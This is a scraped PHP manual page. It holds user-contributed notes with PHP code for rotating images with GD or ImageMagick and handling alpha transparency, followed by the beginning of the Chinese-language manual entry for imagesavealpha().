$x2 = $x1 * cos($theta) - $y1 * sin($theta);
$y2 = $x1 * sin($theta) + $y1 * cos($theta);
fernando_empresarial at ig dot com dot br 13-Nov-2008 04:52
<?php
$urlImage = "images/image.png";
$urlNewImage = "images/imageNew.png";

$src_img = imagecreatefrompng($urlImage);
$originalX = imagesx($src_img);
$originalY = imagesy($src_img);
$dst_img = imagecreatetruecolor(640,480);

$imageRotate = imagerotate($src_img,20,-1);

imagepng($imageRotate,$urlNewImage);
imagedestroy($dst_img);
imagedestroy($src_img);
?>
foi02 at cartefoi dot net 01-Oct-2008 07:50
For those who are looking for the GD library for Ubuntu, I let a copy on my server:  http://www.cartefoi.net/compl_compl_2.php
It was pretty hard to find, somebody gaveme his. Thanks a lot to him (message up).
Bert Vandeghinste 20-Sep-2008 07:17
I'm now using david's code with these changes to get a transparent effect.

I exec convert 2 times:

<?php
exec( $imagick . ' -background \'#555555\' -rotate ' . $angle . ' ' . $file1 . ' ' . $file2 );
exec( $imagick . ' -transparent \'#555555\' -transparent-color \'#555555\' ' . $file2 . ' ' . $file3 );
?>

and then use this after I rotated $output:
<?php imagecolortransparent($output, imagecolorallocatealpha($output, 85, 85, 85, 127)); ?>
david at horizon-nigh dot org 12-Sep-2008 09:06
I couldn't get the replacements from 'the dot thawk' or 'pilot' to work for some reason, so here's my own replacement. It uses ImageMagick; binary must be installed, and you may need to modify the search path. (I didn't use PHP's ImageMagick support for my own reasons.)

<?php
    /**
     * imagerotate()
     * Debian php5-gd packages do not include imagerotate() due to some convoluted reason.
     *
     * @param int $angle - same as PHP builtin function
     * @param $bgd_color - not implemented, apparently always #FFFFFF
     *
     * @return same as PHP builtin function
     */
    if ( !function_exists( 'imagerotate' ) ) {

        function imagerotate( $source_image, $angle, $bgd_color ) {

            $angle = 360-$angle; // GD rotates CCW, imagick rotates CW

            foreach ( array( '/usr/bin', '/usr/local/bin', '/opt/local/bin', '/sw/bin' ) as $path ) {

                if ( file_exists( $path . '/convert' ) ) {
                    $imagick = $path . '/convert';
                    if ( $path == '/opt/local/bin' ) {
                        $imagick = 'DYLD_LIBRARY_PATH="" ' . $imagick; // some kind of conflict with MacPorts and MAMP
                    }
                    break;
                }

            }

            if ( !isset( $imagick ) ) {

                //trigger_error( 'imagerotate(): could not find imagemagick binary, original image returned', E_USER_WARNING );
                return $source_image;

            }

            $file1 = '/tmp/imagick_' . rand( 10000,99999 ) . '.png';
            $file2 = '/tmp/imagick_' . rand( 10000,99999 ) . '.png';

            if ( @imagepng( $source_image, $file1 ) ) {

                exec( $imagick . ' -rotate ' . $angle . ' ' . $file1 . ' ' . $file2 );

                if ( file_exists( $file2 ) ) {

                    $new_image = imagecreatefrompng( $file2 );
                    unlink( $file1 );
                    unlink( $file2 );
                    return $new_image;

                } else {

                    //trigger_error( 'imagerotate(): imagemagick conversion failed, original image returned', E_USER_WARNING );
                    return $source_image;

                }

            } else {

                //trigger_error( 'imagerotate(): could not write to ' . $file1 . ', original image returned', E_USER_WARNING );
                return $source_image;

            }

        }

    }
?>
AJenbo 26-Aug-2008 01:45
I modified cbl25's function to allow it to rotate an image either clock wise or counter clock wise.

<?php
function rotateImage($image, $direction) {
    $direction = strtolower($direction);
    $degrees = $direction == 'cw' ? 270 : ($direction == 'ccw' ? 90 : NULL);
    if(!$degrees)
        return $image;
    $width = imagesx($image);
    $height = imagesy($image);
    $side = $width > $height ? $width : $height;
    $imageSquare = imagecreatetruecolor($side, $side);
    imagecopy($imageSquare, $image, 0, 0, 0, 0, $width, $height);
    imagedestroy($image);
    $imageSquare = imagerotate($imageSquare, $degrees, 0, -1);
    $image = imagecreatetruecolor($height, $width);
    $x = $degrees == 90 ? 0 : ($height > $width ? 0 : ($side - $height));
    $y = $degrees == 270 ? 0 : ($height < $width ? 0 : ($side - $width));
    imagecopy($image, $imageSquare, 0, 0, $x, $y, $height, $width);
    imagedestroy($imageSquare);
    return $image;
}

//Usage
$image = rotateImage($image, 'cw');
$image = rotateImage($image, 'ccw');
?>
cbl25 19-Aug-2008 07:29
Here is a simple function to rotate a non-square image 90 degrees clockwise.

<?php
function rotateImage($imageResource)
{
    $width = imagesx($imageResource);
    $height = imagesy($imageResource);
    $side = $width > $height ? $width : $height;
    $squareImage = imagecreatetruecolor($side, $side);
    imagecopy($squareImage,$imageResource,0,0,0,0,$width,$height);
    $squareImage = imagerotate($squareImage,270,0,-1);
    $imageResource = imagecreatetruecolor($height, $width);
    $x = $height > $width ? 0 : $side - $height;
    imagecopy($imageResource,$squareImage,0,0,$x,0,$height,$width);
    return $imageResource;
}
?>
the dot thawk+phpnet at gmail dot com 16-Jul-2008 08:44
In response to pilot at myupb dot com on 31-May-2008 02:23
---

I am not sure why you would be defining your own PI, instead of using the built-in constant, and why you do the degrees to radian conversion manually. There might be a speed issue, however here is the exact same code with that small difference.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $theta = deg2rad ($angle);

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $x2 = $x * cos($theta) - $y * sin($theta);
                $y2 = $x * sin($theta) + $y * cos($theta);

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
pilot at myupb dot com 30-May-2008 05:23
Shortly after posting I was informed about a very nice algorithm for calculating the new pixel position for a rotation and thought it would be a nice improvement. Hopes this helps anyone needing a full implementation.

Note: I tested the function on a 3Mb photo and it seemed to work perfectly with no quality loss.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $pi = 3.141592654;
        $theta = $angle * $pi / 180;

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $x2 = $x * cos($theta) - $y * sin($theta);
                $y2 = $x * sin($theta) + $y * cos($theta);

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
pilot at myupb dot com 30-May-2008 07:33
Thanks to the people who contributed the code for the 90 180 and 270 rotations. I needed a full implementation however so I wrote one. By no mean do I think this is the best way of doing it, I just whipped this together for myself. Seems to work good for me.

Note: I didn't want the image to be shrunk when rotating so this implementation will keep the size of the original image but just rotate it.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $pi = 3.141592654;
        $theta = $angle * $pi / 180;

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $theta1 = 0;
                $noTranslate = false;

                // Determine the angle of original point
                if($x1 > 0 && $y1 > 0) {
                    // Quadrant 1
                    $theta1 = atan($y1/$x1);
                } elseif($x1 < 0 && $y1 > 0) {
                    // Quadrant 2
                    $theta1 = $pi - atan($y1/abs($x1));
                } elseif($x1 < 0 && $y1 < 0) {
                    // Quadrant 3
                    $theta1 = $pi + atan($y1/$x1);
                } elseif($x1 > 0 && $y1 < 0) {
                    // Quadrant 4
                    $theta1 = 2 * $pi - atan(abs($y1)/$x1);
                } elseif($x1 == 0 && $y1 > 0) {
                    $theta1 = $pi / 2;
                } elseif($x1 == 0 && $y1 < 0) {
                    $theta1 = 3 * $pi / 2;
                } elseif($x1 > 0 && $y1 == 0) {
                    $theta1 = 0;
                } elseif($x1 < 0 && $y1 == 0) {
                    $theta1 = $pi;
                } else {
                    // Only case left should be $x1 == 0 && $y1 == 0
                    $noTranslate = true;
                }

                // Translate the position
                if(!$noTranslate) {
                    // Calculate the new angle
                    $theta2 = $theta1 + $theta;

                    // Make sure theta2 is in between 0 - 2pi
                    while($theta2 < 0) $theta2 += 2 * $pi;
                    while($theta2 > (2 * $pi)) $theta2 -= 2 * $pi;

                    $radius = sqrt($x1*$x1 + $y1*$y1);

                    $x2 = ($radius * cos($theta2));
                    $y2 = ($radius * sin($theta2));
                } else {
                    $x2 = $x1;
                    $y2 = $y1;
                }

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
achilles 31-Mar-2008 02:02
otimized integration from 23-Feb-2007 04:21
just put it anywhere you like to use imagerotate with 90, 180, 270 degrees.
<?php
if(!function_exists("imagerotate")) {
    function imagerotate($src_img, $angle) {
        $src_x = imagesx($src_img);
        $src_y = imagesy($src_img);
        if ($angle == 180) {
            $dest_x = $src_x;
            $dest_y = $src_y; }
        elseif ($src_x <= $src_y) {
            $dest_x = $src_y;
            $dest_y = $src_x; }
        elseif ($src_x >= $src_y) {
            $dest_x = $src_y;
            $dest_y = $src_x; }

        $rotate=imagecreatetruecolor($dest_x,$dest_y);
        imagealphablending($rotate, false);

        switch ($angle) {
            case 270:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $dest_x - $y - 1, $x, $color); }}
                break;
            case 90:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $y, $dest_y - $x - 1, $color); }}
                break;
            case 180:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color); }}
                break;
            default: $rotate = $src_img; }
        return $rotate; }}
?>
qrgames at NOSPAMTYrushyo dot com 11-Aug-2007 04:06
imagerotate seems to be very fussy about handling transparency when copymerging onto another image. You can use the GD library's other transparency features to cover up the fact imagerotate gets it wrong HOWEVER it will only work if the top-left corner of the image is transparent at all rotations, so make the image a little bigger than it needs to be. This has been tested with png32 but does not work entirely for png8, as a phenomena creates noise around the rotated image.

<?php

$imgImage = imagecreatefrompng("image.png");
$colBlack = imagecolorallocate($imgImage, 0, 0, 0);
$imgImage = imagerotate($imgImage, 360 - $intHeading, 0);
imagefill($imgImage, 0, 0, $colBlack);
imagecolortransparent($imgImage, $colBlack);
imagecopymerge($imgOriginalImage , $imgImage, $intX, $intY, 0, 0, $intHeight, $intWidth, 100);
imagedestroy($imgImage);

?>

Note. $intHeading is in degrees clockwise :)
Thomaschaaf 23-Feb-2007 07:21
<?php
function rotate($degrees)
    {
        if(function_exists("imagerotate"))
            $this->image = imagerotate($this->image, $degrees, 0);
        else
        {
            function imagerotate($src_img, $angle)
            {
                $src_x = imagesx($src_img);
                $src_y = imagesy($src_img);
                if ($angle == 180)
                {
                    $dest_x = $src_x;
                    $dest_y = $src_y;
                }
                elseif ($src_x <= $src_y)
                {
                    $dest_x = $src_y;
                    $dest_y = $src_x;
                }
                elseif ($src_x >= $src_y)
                {
                    $dest_x = $src_y;
                    $dest_y = $src_x;
                }

                $rotate=imagecreatetruecolor($dest_x,$dest_y);
                imagealphablending($rotate, false);

                switch ($angle)
                {
                    case 270:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $dest_x - $y - 1, $x, $color);
                            }
                        }
                        break;
                    case 90:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $y, $dest_y - $x - 1, $color);
                            }
                        }
                        break;
                    case 180:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color);
                            }
                        }
                        break;
                    default: $rotate = $src_img;
                };
                return $rotate;
            }
            $this->image = imagerotate($this->image, $degrees);
        }
    }
?>
m dot quinton at gmail dot com 14-Sep-2006 09:30
with large file, where imagerotate is missing, you can use, when possible "convert" command from ImageMagick. Here is a sample script.

<?php

error_reporting(E_ALL);

header("Content-type: image/png");

$file = 'images/test/imgp2498.jpg';

image_rotate_with_convert($file, 90);

function image_rotate_with_convert($file, $angle){
    passthru("convert -rotate $angle $file -");
}

?>
simon_nuttall at hotmail dot com 27-Sep-2005 10:06
The following is potentially useful. It extracts the central largest circle of an image into a square of specified size, and optionally rotates it. The rest of the square is made transparent, so useful for drawing over other images. I've named it after binocular effect because on some old TV shows whenever they show someone looking through binoculars the screen shows a big circular image with black edges.

<?php

function image_binocular_effect($src, $bearing, $out_square) {
 // the source image is resampled to fit within the specified square, and rotated clockwise by bearing.
 // the largest circle within the image is retained, the rest made transparent.
 $out = imagecreatetruecolor($out_square, $out_square);
 $width=imagesx($src);
 $height=imagesy($src);
 $square=min($width, $height);
 imagecopyresampled($out, $src, 0, 0, ($width - $square)/2 , ($height - $square)/2, $out_square, $out_square, $square, $square);

 $mask = imagecreatetruecolor($out_square, $out_square);
 $black = ImageColorAllocate ($mask, 0, 0, 0);
 $white = ImageColorAllocate ($mask, 255, 255, 255);
 imagefilledrectangle($mask , 0, 0, $out_square, $out_square, $white);
 $centrexy=$out_square / 2;
 imagefilledellipse($mask, $centrexy, $centrexy, $out_square, $out_square, $black);
 ImageColorTransparent($mask, $black);
 imagecopymerge($out, $mask,  0, 0, 0, 0, $out_square, $out_square, 100);
 if ($bearing != 0) {
  $rotated_img=imagerotate($out , 360-$bearing, $white);
  // take off only the rotated width
  $rotated_map_width = imagesx($rotated_img);
  $rotated_map_height = imagesy($rotated_img);
  imagecopy($out, $rotated_img, 0, 0, ($rotated_map_width - $out_square) / 2, ($rotated_map_height - $out_square) / 2, $out_square, $out_square);
  }
 ImageColorTransparent($out, $white);
 return $out;
}

// Create a sample image to demonstrate the effect, but looks much better on real photos.

$src = imagecreatetruecolor(200, 50);
imagefilledrectangle($src, 0, 0, 200, 50, imagecolorallocate($src, 255, 255, 255));
ImageString($src, 3, 10, 10, "This is a sample image to illustrate the binocular effect", imagecolorallocate($im, 192, 0, 0));
$img=image_binocular_effect($src, 72, 50);
ImagePNG($img,"test.png");

?>
wulff at fyens dot dk 01-Mar-2005 01:22
I liked the rotateImageBicubic function implemented by darren at lucidtone dot com. But it just snipped off the parts of the image that were outside the original image.

I fixed this, even though I admit that my solution is a bit naive. But it might come in handy for somebody.

Also his bicubic implementation was broken on my machine so I left it out, if you need it just copy and paste it from above.

<?php

// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotate($src_img, $angle, $bicubic=false) {

   // convert degrees to radians
   $angle = $angle + 180;
   $angle = deg2rad($angle);

   $src_x = imagesx($src_img);
   $src_y = imagesy($src_img);

   $center_x = floor($src_x/2);
   $center_y = floor($src_y/2);

   $cosangle = cos($angle);
   $sinangle = sin($angle);

   $corners=array(array(0,0), array($src_x,0), array($src_x,$src_y), array(0,$src_y));

   foreach($corners as $key=>$value) {
     $value[0]-=$center_x;        //Translate coords to center for rotation
     $value[1]-=$center_y;
     $temp=array();
     $temp[0]=$value[0]*$cosangle+$value[1]*$sinangle;
     $temp[1]=$value[1]*$cosangle-$value[0]*$sinangle;
     $corners[$key]=$temp;
   }

   $min_x=1000000000000000;
   $max_x=-1000000000000000;
   $min_y=1000000000000000;
   $max_y=-1000000000000000;

   foreach($corners as $key => $value) {
     if($value[0]<$min_x)
       $min_x=$value[0];
     if($value[0]>$max_x)
       $max_x=$value[0];

     if($value[1]<$min_y)
       $min_y=$value[1];
     if($value[1]>$max_y)
       $max_y=$value[1];
   }

   $rotate_width=round($max_x-$min_x);
   $rotate_height=round($max_y-$min_y);

   $rotate=imagecreatetruecolor($rotate_width,$rotate_height);
   imagealphablending($rotate, false);
   imagesavealpha($rotate, true);

   //Reset center to center of our image
   $newcenter_x = ($rotate_width)/2;
   $newcenter_y = ($rotate_height)/2;

   for ($y = 0; $y < ($rotate_height); $y++) {
     for ($x = 0; $x < ($rotate_width); $x++) {
       // rotate...
       $old_x = round((($newcenter_x-$x) * $cosangle + ($newcenter_y-$y) * $sinangle))
         + $center_x;
       $old_y = round((($newcenter_y-$y) * $cosangle - ($newcenter_x-$x) * $sinangle))
         + $center_y;

       if ( $old_x >= 0 && $old_x < $src_x
             && $old_y >= 0 && $old_y < $src_y ) {

           $color = imagecolorat($src_img, $old_x, $old_y);
       } else {
         // this line sets the background colour
         $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
       }
       imagesetpixel($rotate, $x, $y, $color);
     }
   }

  return($rotate);
}

?>
Borszczuk 05-Jan-2005 05:21
Here's a function that implements right angle (multiplicity of 90 degs - 90, 180, 270) rotation if you need one but lacks native imagerotate() or you don't want non-square images to be scaled down as with imagerotate(). As you probably noticed it's not self contained function, as 180 rotation is handled by ImageFlip() function to gain the performance. The ImageFlip() function used is published here: http://php.net/imagecopy in the comment of mine placed on  05-Jan-2005 04:30

Please note: that in case of 0 degrees rotation handle to imgSrc is returned which may lead to problems if you imagedestroy() it undonditionaly. To solve that you shall add imagecopy($imgDest, $imgSrc, 0,0, 0,0,$srcX, $srcY)  in proper place which I have intentionally ommited to save memory resources

<?php

// $imgSrc - GD image handle of source image
// $angle - angle of rotation. Needs to be positive integer
// angle shall be 0,90,180,270, but if you give other it
// will be rouned to nearest right angle (i.e. 52->90 degs,
// 96->90 degs)
// returns GD image handle of rotated image.
function ImageRotateRightAngle( $imgSrc, $angle )
{
    // ensuring we got really RightAngle (if not we choose the closest one)
    $angle = min( ( (int)(($angle+45) / 90) * 90), 270 );

    // no need to fight
    if( $angle == 0 )
        return( $imgSrc );

    // dimenstion of source image
    $srcX = imagesx( $imgSrc );
    $srcY = imagesy( $imgSrc );

    switch( $angle )
        {
        case 90:
            $imgDest = imagecreatetruecolor( $srcY, $srcX );
            for( $x=0; $x<$srcX; $x++ )
                for( $y=0; $y<$srcY; $y++ )
                    imagecopy($imgDest, $imgSrc, $srcY-$y-1, $x, $x, $y, 1, 1);
            break;

        case 180:
            $imgDest = ImageFlip( $imgSrc, IMAGE_FLIP_BOTH );
            break;

        case 270:
            $imgDest = imagecreatetruecolor( $srcY, $srcX );
            for( $x=0; $x<$srcX; $x++ )
                for( $y=0; $y<$srcY; $y++ )
                    imagecopy($imgDest, $imgSrc, $y, $srcX-$x-1, $x, $y, 1, 1);
            break;
        }

    return( $imgDest );
}
?>
darren at lucidtone dot com 07-Dec-2004 08:43
Here's a neat function for those of us who don't have imagerotate() on our servers.  It's based on a comment from ron at korving dot demon dot nl on the manual page for imagecopyresampled.

I'm still not 100% on coping with transparency, but this function seems to cope okay.  It doesn't resize to fit within bounds, it just rotates and you lose anything outside the image box.

The bicubic mode is slooow.

If you want to be able to change the background colour, pass in a colour and use it where indicated.  The line I used just sets it transparent.

<?php
// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotateBicubic($src_img, $angle, $bicubic=false) {

    // convert degrees to radians
    $angle = $angle + 180;
    $angle = deg2rad($angle);

    $src_x = imagesx($src_img);
    $src_y = imagesy($src_img);

    $center_x = floor($src_x/2);
    $center_y = floor($src_y/2);

    $rotate = imagecreatetruecolor($src_x, $src_y);
    imagealphablending($rotate, false);
    imagesavealpha($rotate, true);

    $cosangle = cos($angle);
    $sinangle = sin($angle);

    for ($y = 0; $y < $src_y; $y++) {
      for ($x = 0; $x < $src_x; $x++) {
    // rotate...
    $old_x = (($center_x-$x) * $cosangle + ($center_y-$y) * $sinangle)
      + $center_x;
    $old_y = (($center_y-$y) * $cosangle - ($center_x-$x) * $sinangle)
      + $center_y;

    if ( $old_x >= 0 && $old_x < $src_x
         && $old_y >= 0 && $old_y < $src_y ) {
      if ($bicubic == true) {
        $sY  = $old_y + 1;
        $siY  = $old_y;
        $siY2 = $old_y - 1;
        $sX  = $old_x + 1;
        $siX  = $old_x;
        $siX2 = $old_x - 1;

        $c1 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY2));
        $c2 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY));
        $c3 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY2));
        $c4 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY));

        $r = ($c1['red']  + $c2['red']  + $c3['red']  + $c4['red']  ) << 14;
        $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6;
        $b = ($c1['blue']  + $c2['blue']  + $c3['blue']  + $c4['blue'] ) >> 2;
        $a = ($c1['alpha']  + $c2['alpha']  + $c3['alpha']  + $c4['alpha'] ) >> 2;
        $color = imagecolorallocatealpha($src_img, $r,$g,$b,$a);
      } else {
        $color = imagecolorat($src_img, $old_x, $old_y);
      }
    } else {
          // this line sets the background colour
      $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
    }
    imagesetpixel($rotate, $x, $y, $color);
      }
    }
    return $rotate;
}
?>
jon at driestone dot com 07-Oct-2004 08:42
imagerotate does not preserve the alpha channel, so if you want to rotate a PNG you need to get
creative. I don't see any command to retrieve the alpha information from an image (as far as
I could see,) so you'll have to do a bit of manual labor before hand. In my case I created a
second PNG file with the alpha saved as RGB data and manually "copied" the data from source
to destination:

<?php
    function alpha_rotate($dst,$src,$rotate,$offsetX,$offsetY){

        $top = imagecreatefrompng("image_processing/shadow.png");
        $top_alpha = imagecreatefrompng("image_processing/shadow_alpha.png");

        imagecopyresampled($top,$src,0,0,0,0,100,100,100,100);

        $top = imagerotate($top,$rotate,0x000000);
        $top_alpha = imagerotate($top_alpha,$rotate,0x000000);

        for ($theX=0;$theX<imagesx($top);$theX++){
            for ($theY=0;$theY<imagesy($top);$theY++){

                $rgb = imagecolorat($top,$theX,$theY);
                $r = ($rgb >> 16) & 0xFF;
                $g = ($rgb >> 8) & 0xFF;
                $b = $rgb & 0xFF;

                $rgb = imagecolorat($top_alpha,$theX,$theY);
                $a = $rgb & 0xFF;
                $a = 127-floor($a/2);

                $myColor = imagecolorallocatealpha($top,$r,$g,$b,$a);
                imagesetpixel($dst,($theX+$offsetX),($theY+$offsetY),$myColor);
            }
        }
    }
?>


保存图像时是否保留完整的 alpha 通道信息

  • ? imagerotate
  • imagescale ?
  • PHP Manual
  • GD 和图像处理 函数
  • 保存图像时是否保留完整的 alpha 通道信息

imagesavealpha

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imagesavealpha — 保存图像时是否保留完整的 alpha 通道信息

说明

imagesavealpha(GdImage $image, bool $enable): bool

imagesavealpha() 设置标记，确定在保存图像时是否保存完整的 alpha 通道信息（与单一透明色相反）。 这仅支持支持完整 alpha 通道信息的图像格式，即 PNG、WebP 和 AVIF。

Note: imagesavealpha() is only meaningful for PNG images, since the full alpha channel is always saved for WebP and AVIF. It is not recommended to rely on this behavior, as it may change in the future. Thus, imagesavealpha() should be called deliberately also for WebP and AVIF images.

必须禁用 alpha 混合（imagealphablending($im, false)），以首先保留 alpha 通道。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

enable

是否保存透明（alpha）通道。默认 false。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 基础 imagesavealpha() 用法

<?php
// 载入带 alpha 通道的 png 图像
$png = imagecreatefrompng('./alphachannel_example.png');

// 关闭 alpha 混合
imagealphablending($png, false);

// Do desired operations

//并设置 alpha 标志
imagesavealpha($png, true);

// 输出图像到浏览器
header('Content-Type: image/png');

imagepng($png);
imagedestroy($png);
?>

参见

  • imagealphablending() - 设定图像的混色模式

User Contributed Notes

ray hatfield 23-Feb-2011 11:01
After much trial and error and gnashing of teeth I finally figured out how to composite a png with an 8-bit alpha onto a jpg. This was not obvious to me so I thought I'd share. Hope it helps.

I'm using this to create a framed thumbnail image:

<?php
// load the frame image (png with 8-bit transparency)
$frame = imagecreatefrompng('path/to/frame.png');

// load the thumbnail image
$thumb = imagecreatefromjpeg('path/to/thumbnail.jpg');

